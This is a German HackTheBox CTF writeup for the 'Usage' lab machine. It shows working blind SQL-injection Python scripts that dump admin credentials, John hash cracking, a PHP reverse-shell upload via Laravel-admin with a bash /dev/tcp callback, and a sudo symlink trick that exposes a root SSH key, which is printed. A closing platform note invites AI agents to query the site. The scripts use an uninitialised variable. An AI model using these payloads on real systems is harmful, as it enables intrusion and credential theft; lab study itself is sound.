> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md).

# Usage HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/597>" %}

{% hint style="warning" %}
Fähigkeiten:

* Subdomain-Enumeration
* SQLI - Boolean-basierte Blindinjektion (MANUELL) + BurpSuite-Tipps
* Python-Skripting, um SQLI auszunutzen
* Hashes knacken
* Laravel-admin-Ausnutzung (RCE durch Missbrauch des Datei-Uploads)
* Binäranalyse (GHIDRA)
* Missbrauch der Sudoers-Rechte + benutzerdefinierte Binärdatei, um den Root-SSH-Privatschlüssel zu erhalten (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/75259b19720633e98f73e5221ac0b23f17ce6588" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/3ee1f4741e540967ca809946898e2e7aa40cab7e" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -vvv -Pn --min-rate 5000 10.10.11.18 -oG allPorts
```

<figure><img src="/files/7c73dd5fd80a9371a37d2a2b9706977dfebd34a0" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (21,22,80)

<figure><img src="/files/dc94d438668fd6a92eb62557cd87c1f92cb75886" alt="" width="563"><figcaption></figcaption></figure>

Versionsscan der Ports mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.18 -oN targeted
```

<figure><img src="/files/bf3c31c01e5086f481d59d21c7aa9e9e7ec8eb7b" alt=""><figcaption></figcaption></figure>

Um Domänennamen mittels DNS in IP-Adressen aufzulösen, tragen wir den mit der IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

### Port 80:

Auf Port 80 werden wir im Registrierungsbereich ein Benutzerkonto mit einer fiktiven E-Mail-Adresse "`test@test.com`" erstellen.

<figure><img src="/files/e6c7cc18653dac10227ab4983e4d8a7aeef0c480" alt=""><figcaption></figcaption></figure>

## Schwachstelle [SQLi](/de/web/sql-injection.md):

Wir entdecken ein Passwort-Reset-Panel, das anfällig für SQL-Injection ist

<figure><img src="/files/3ccc70c4db5df707b9288fb1aef724756c3ed41c" alt=""><figcaption></figcaption></figure>

. Durch das Abfangen von Anfragen mit Burp Suite erhalten wir die Meldung "*Wir haben Ihnen Ihr Passwort per E-Mail gesendet*".

<figure><img src="/files/d00221ced591f15324f5bf0ac9a4e9f3fa3d7842" alt=""><figcaption></figcaption></figure>

Wenn wir eine grundlegende SQL-Injection versuchen, ist sie erfolgreich und wir erhalten erneut dieselbe Fehlermeldung, was bestätigt, dass die Injektion funktioniert. Der grundlegende Injektionstest lautet:

`iojfeifif' or 1=1-- -`

<figure><img src="/files/da634797126bf4d4e8e46cedcaeff595e0c723f3" alt="" width="563"><figcaption></figcaption></figure>

### SQLi-Bedingte Antworten:

> Obwohl die Ergebnisse der SQL-Abfrage nicht zurückgegeben werden und keine Fehlermeldungen erscheinen, zeigt die Anwendung auf der Seite die Meldung "Wir haben Ihnen Ihr Passwort per E-Mail gesendet" an, wenn die Abfrage irgendwelche Zeilen zurückgibt.

Wir überprüfen diese Annahme, indem wir eine bedingte Injektion mit der `substring` Funktion verwenden, um die ersten Buchstaben des Datenbanknamens zu extrahieren.

Injektionsbeispiele:

* Teste den ersten Buchstaben des Datenbanknamens\:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* Teste den zweiten Buchstaben des Datenbanknamens\:/ `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/af5fdc5f6a899aaa395b660e144f4d7eb13e37ce" alt=""><figcaption></figcaption></figure>

### Aufzählung des Datenbanknamens:

Wir automatisieren den Prozess zur Ermittlung des Datenbanknamens mit einem Python-Skript, das Anfragen mit bestimmten Payloads sendet und die Ergebnisse abruft, wenn der Server die Antwort "Wir haben Ihnen Ihr Passwort per E-Mail gesendet" anzeigt.

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Exit-Signale behandeln
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Mit Strg + C beenden
signal.signal(signal.SIGINT, def_handler)

# Erweiterter Zeichensatz (bei Bedarf weitere Sonderzeichen hinzufügen)
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    ""
    p1 = log.progress("SQL-Injection")
    p1.status("SQL-Injection wird gestartet...")
    time.sleep(2)

    p2 = log.progress("Extrahierte Daten")

    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            
            # Sende die POST-Anfrage mit der Payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Zeige das aktuell getestete Zeichen in Echtzeit an
            p1.status(f"Position {position}: {character} wird getestet")

            # Prüfe auf eine bestimmte Rückmeldung vom Server, um das richtige Zeichen zu bestätigen
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Wenn für diese Position ein Zeichen gefunden wurde, gehe zur nächsten Position über
        if found_character:
            p1.status(f"Position {position} gefunden: {data[-1]}")
        else:
            p1.status(f"Position {position}: Zeichen nicht gefunden")

    p1.success("Brute-Force-SQL-Injection abgeschlossen")
    p2.success(f"Extrahierte Daten: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/7957ab71a24bb710f19e0ddc11b37461e7fed3d5" alt="" width="440"><figcaption></figcaption></figure>

### Datenbank-Aufzählung:

Wir passen die Payload an, um alle auf dem Server vorhandenen Datenbanken aufzulisten. Wir verwenden die `group_concat` Funktion der `information_schema.schemata` Datenbank, um alle verfügbaren Datenbanken abzurufen. Dieser Schritt ermöglicht es dir, alle vorhandenen Datenbanken zu entdecken.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Exit-Signale behandeln
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Mit Strg + C beenden
signal.signal(signal.SIGINT, def_handler)

# Erweiterter Zeichensatz (bei Bedarf weitere Sonderzeichen hinzufügen)
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    ""
    p1 = log.progress("SQL-Injection")
    p1.status("SQL-Injection wird gestartet...")
    time.sleep(2)

    p2 = log.progress("Extrahierte Daten")

    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

            }
            
            # Sende die POST-Anfrage mit der Payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Zeige das aktuell getestete Zeichen in Echtzeit an
            p1.status(f"Position {position}: {character} wird getestet")

            # Prüfe auf eine bestimmte Rückmeldung vom Server, um das richtige Zeichen zu bestätigen
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Wenn für diese Position ein Zeichen gefunden wurde, gehe zur nächsten Position über
        if found_character:
            p1.status(f"Position {position} gefunden: {data[-1]}")
        else:
            p1.status(f"Position {position}: Zeichen nicht gefunden")

    p1.success("Brute-Force-SQL-Injection abgeschlossen")
    p2.success(f"Extrahierte Daten: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/928fc6615ee14768303c70fa5943d3c93c81f978" alt="" width="563"><figcaption></figcaption></figure>

### Liste der Tabellen in der `usage_blog` Datenbank:

Nachdem wir die `usage_blog` Datenbank gefunden haben, passen wir die Payload erneut an, um die Tabellen in dieser Datenbank aufzulisten. Wir verwenden die `group_concat` Funktion, um die Namen aller Tabellen in der `usage_blog` Datenbank abzurufen.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Exit-Signale behandeln
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Mit Strg + C beenden
signal.signal(signal.SIGINT, def_handler)

# Erweiterter Zeichensatz (bei Bedarf weitere Sonderzeichen hinzufügen)
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    ""
    p1 = log.progress("SQL-Injection")
    p1.status("SQL-Injection wird gestartet...")
    time.sleep(2)

    p2 = log.progress("Extrahierte Daten")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character) 

            }
            
            # Sende die POST-Anfrage mit der Payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Zeige das aktuell getestete Zeichen in Echtzeit an
            p1.status(f"Position {position}: {character} wird getestet")

            # Prüfe auf eine bestimmte Rückmeldung vom Server, um das richtige Zeichen zu bestätigen
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Wenn für diese Position ein Zeichen gefunden wurde, gehe zur nächsten Position über
        if found_character:
            p1.status(f"Position {position} gefunden: {data[-1]}")
        else:
            p1.status(f"Position {position}: Zeichen nicht gefunden")

    p1.success("Brute-Force-SQL-Injection abgeschlossen")
    p2.success(f"Extrahierte Daten: {data}")

if __name__ == '__main__':
    sqli()
```

<div data-full-width="true"><figure><img src="/files/4e93e51caa97aa56c6853e479eb7d8e68558eb31" alt=""><figcaption></figcaption></figure></div>

### Aufzählung der Spalten der `admin_users` Tabelle:

Sobald die Tabellen identifiziert sind, richten wir uns auf die `admin_users` Tabelle, um ihre Spalten aufzulisten. Wir verwenden die `group_concat` Funktion erneut, um die Spaltennamen dieser spezifischen Tabelle abzurufen.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Exit-Signale behandeln
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Mit Strg + C beenden
signal.signal(signal.SIGINT, def_handler)

# Erweiterter Zeichensatz (bei Bedarf weitere Sonderzeichen hinzufügen)
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    ""
    p1 = log.progress("SQL-Injection")
    p1.status("SQL-Injection wird gestartet...")
    time.sleep(2)

    p2 = log.progress("Extrahierte Daten")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character) 

            }
            
            # Sende die POST-Anfrage mit der Payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Zeige das aktuell getestete Zeichen in Echtzeit an
            p1.status(f"Position {position}: {character} wird getestet")

            # Prüfe auf eine bestimmte Rückmeldung vom Server, um das richtige Zeichen zu bestätigen
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Wenn für diese Position ein Zeichen gefunden wurde, gehe zur nächsten Position über
        if found_character:
            p1.status(f"Position {position} gefunden: {data[-1]}")
        else:
            p1.status(f"Position {position}: Zeichen nicht gefunden")

    p1.success("Brute-Force-SQL-Injection abgeschlossen")
    p2.success(f"Extrahierte Daten: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/315c85d6239fc0e8e4439f59fed8c0b226528b15" alt=""><figcaption></figcaption></figure>

### Anzeige `Benutzernamen` und `Passwort`:

Um Benutzer-IDs und Passwörter in der `admin_users` Tabelle wird die SQL-Abfrage geändert, um die `Benutzernamen` und `Passwort` Felder

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Exit-Signale behandeln
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Mit Strg + C beenden
signal.signal(signal.SIGINT, def_handler)

# Erweiterter Zeichensatz (bei Bedarf weitere Sonderzeichen hinzufügen)
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    ""
    p1 = log.progress("SQL-Injection")
    p1.status("SQL-Injection wird gestartet...")
    time.sleep(2)

    p2 = log.progress("Extrahierte Daten")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

            }
            
            # Sende die POST-Anfrage mit der Payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Zeige das aktuell getestete Zeichen in Echtzeit an
            p1.status(f"Position {position}: {character} wird getestet")

            # Prüfe auf eine bestimmte Rückmeldung vom Server, um das richtige Zeichen zu bestätigen
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Wenn für diese Position ein Zeichen gefunden wurde, gehe zur nächsten Position über
        if found_character:
            p1.status(f"Position {position} gefunden: {data[-1]}")
        else:
            p1.status(f"Position {position}: Zeichen nicht gefunden")

    p1.success("Brute-Force-SQL-Injection abgeschlossen")
    p2.success(f"Extrahierte Daten: {data}")

if __name__ == '__main__':
    sqli()
```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/751a8f820dfa3999929cafd37085b2f11dfebfe4" alt=""><figcaption></figcaption></figure>

### Passwortknacken mit John:

Sobald der Passwort-Hash wiederhergestellt ist, kannst du **John** um ihn mit einem Wörterbuch wie **rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:whatever1`

<figure><img src="/files/50f8583e34e238aa1d7ac493f6c02449a808070b" alt=""><figcaption></figcaption></figure>

#### Administrationspanel:

<figure><img src="/files/3a3075581438ae86e08e114413d94ddbbf0f041a" alt=""><figcaption></figcaption></figure>

Sobald die Zugangsdaten gefunden wurden, ist es möglich, sich mit dem Administrationspanel zu verbinden, indem man die `/etc/hosts` Datei, um den `admin.usage.htb` Eintrag hinzuzufügen.

<figure><img src="/files/761c60a91b967832420ad97420f2c89ddc9dbb8b" alt=""><figcaption></figcaption></figure>

## Datei-Upload-Schwachstelle (Laravel-admin)

In der Laravel-admin-Anwendung gibt es einen Bereich, in dem du ein Avatar-Bild hochladen kannst. Durch das Ausnutzen dieser Funktion können wir eine bösartige Datei senden, um unautorisierten Zugriff auf den Server zu erlangen.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/b4ea2614dc3648cb0eca79e03fd4ae6ffa093382" alt=""><figcaption></figcaption></figure>

### **Vorgehensschritte:**

1. **Abfangen und Modifizieren der Avatar-Datei**:
   * Fange die Anfrage mit Burp Suite ab.
   * Ändere den Wert der `Dateinamen` Variable, um die PHP-Erweiterung nach einer vorgetäuschten Bilddatei hinzuzufügen, zum Beispiel: `hack.jpg.php`.

<figure><img src="/files/306c45c301ddc039cf6a94ce10497374562f36d0" alt=""><figcaption></figcaption></figure>

* Der Inhalt der Datei muss eine Reverse Shell sein, zum Beispiel:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>
```

<figure><img src="/files/238e87bc7ab3dc5f80c383bb09a0a208e3d09bd5" alt=""><figcaption></figcaption></figure>

**Mit Netcat lauschen**:

* Beginne mit dem Lauschen auf Port 443 mit Netcat:

```bash
nc -nlvp 443 
```

<figure><img src="/files/4946d5603f46e9a1451c12e452579fa20fe524f4" alt="" width="563"><figcaption></figcaption></figure>

Führe die folgenden Befehle aus, um die Shell-Sitzung interaktiver zu machen:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="/files/8700dd50c7fde069a1cffdadf97fe5c86afcc613" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation:

### Informationsleck

Im Verzeichnis des Benutzers `dash`, eine Datei `.monitrc` ist zugänglich und enthält sensible Informationen

<figure><img src="/files/7e6142ca3629c4292c033f23e10f1ba7c81df312" alt="" width="563"><figcaption></figcaption></figure>

`admin:3nc0d3d_pa$$w0rd`

<figure><img src="/files/056975c298e7c67a67ccaada70bb02bd2c1432e0" alt="" width="563"><figcaption></figcaption></figure>

Dieses Passwort gehört zum Benutzer `XANDER`.

<figure><img src="/files/77e1f9725c7a08782d746af6a5af505c2e6495ce" alt="" width="563"><figcaption></figcaption></figure>

### Missbrauch der Sudoers-Binärdatei:

Durch Ausführen des `sudo -l` Befehl als Benutzer `xander`, entdecken wir die Möglichkeit, die `usage_management` Binärdatei mit drei Optionen auszuführen:

1. *`Projekt-Backup`*
2. *`MySQL-Daten sichern`*
3. *`Admin-Passwort zurücksetzen`*

<figure><img src="/files/c70b5fa98b46f628a241fc42d6ce73f4be5e1943" alt=""><figcaption></figcaption></figure>

Durch die Auswahl der ersten Option ("Projekt-Backup") erstellt das Programm eine Datei `.zip` mit einer Sicherung als Benutzer `root`.

<figure><img src="/files/00b952aa82f7afdb8c246c6f198df9443f0cea53" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/054d0d362a76755ee00c1b1a3c4c93189a31edef" alt=""><figcaption></figcaption></figure>

### Binäranalyse (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

Installiere und starte GHIDRA, um die Binärdatei zu analysieren:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/03216e69f25462d2c7be36fb59801064e6e7be19" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/84bbb6c5aca166c33db1296ebafccafd3ad2f88e" alt=""><figcaption></figcaption></figure>

* In dem `Projekt-Backup` Funktion, beobachten wir, dass diese Funktionalität den Inhalt von `/var/www/html` in eine `project.zip` Datei mit Root-Rechten.

<figure><img src="/files/0e73d57f272e2f3225321f64b7f3e5f3202c37dc" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Erstellen eines symbolischen Links, um auf den Root-SSH-Schlüssel zuzugreifen**: Um diese Funktionalität auszunutzen, erstelle einen symbolischen Link zum Root-SSH-Schlüssel im `html` Verzeichnis

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/4b75f706fea9b3cc17b7fd80be1afc519e6ef86a" alt=""><figcaption></figcaption></figure>

**Das Skript als Root ausführen**:

* Führe die `usage_management` Skript:

<figure><img src="/files/11ff1dc189743c8dedd1346f630a9939ccc2670f" alt=""><figcaption></figcaption></figure>

* In dem `project.zip` Datei aus und erhalte den privaten Root-Schlüssel (`id_rsa`).

<figure><img src="/files/2c318f72bf678002e6d05f82c8a237a003d1465f" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**SSH-Verbindung mit Root-Schlüssel**:

* Verwende den Schlüssel, um dich als Root anzumelden:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/e63c9118ec3a5c5afab5daed2244f22910ae10ab" alt=""><figcaption></figcaption></figure>

### Root-Flag :)

<figure><img src="/files/846e3d1aa7a8248992a1eabcc3c06a784c0dd0c5" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/159f1e9ac10271d9f952910d98e26d4f93e1a153" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
